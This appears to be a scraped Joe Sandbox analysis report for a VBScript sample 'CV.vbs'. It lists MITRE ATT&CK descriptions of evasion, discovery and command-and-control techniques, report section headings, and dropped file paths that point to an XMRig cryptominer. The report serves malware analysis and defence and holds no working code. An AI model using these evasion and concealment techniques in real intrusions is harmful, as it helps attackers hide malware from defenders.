Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to hide configuration information within Registry keys, remove information as part of cleaning up, or as part of other techniques to aid in persistence and execution.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an existing, legitimate external Web service as a means for relaying data to/from a compromised system. Popular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report CV.vbs

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Yara Signatures

PCAP (Network Traffic)

Dropped Files

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Data Obfuscation

Snort Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Bitcoin Miner

Compliance

Software Vulnerabilities

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\.xmrig.json

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\q64New[1].encode

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

C:\Users\user\AppData\Local\Temp\CSC34AD3A053BD0482B8F57CF2F2153CA.TMP

C:\Users\user\AppData\Local\Temp\CSC42213DD479FE494FA8153260D2C4A5B2.TMP

C:\Users\user\AppData\Local\Temp\CSC553B895C4F294EC7A377E88EC4917E34.TMP

C:\Users\user\AppData\Local\Temp\CSC591B9E4DE1824FC8AB2EAE3EE41D29C1.TMP

C:\Users\user\AppData\Local\Temp\CSC698B17CA485A4DF3BFC9C5C4DCCE15E7.TMP

C:\Users\user\AppData\Local\Temp\DLL120A.tmp

C:\Users\user\AppData\Local\Temp\DLL39F2.tmp

C:\Users\user\AppData\Local\Temp\DLL46B0.tmp

Windows Analysis Report
CV.vbs

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use a connection proxy to direct network traffic between systems or act as an intermediary for network communications to a command and control server to avoid direct connections to their infrastructure. Many tools exist that enable traffic redirection through proxies or port redirection, including HTRAN , ZXProxy, and ZXPortMap. Adversaries use these types of proxies to manage command and control communications, reduce the number of simultaneous outbound network connections, provide resiliency in the face of connection loss, or to ride over existing trusted communications paths between victims to avoid suspicion. Adversaries may chain together multiple proxies to further disguise the source of malicious traffic.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre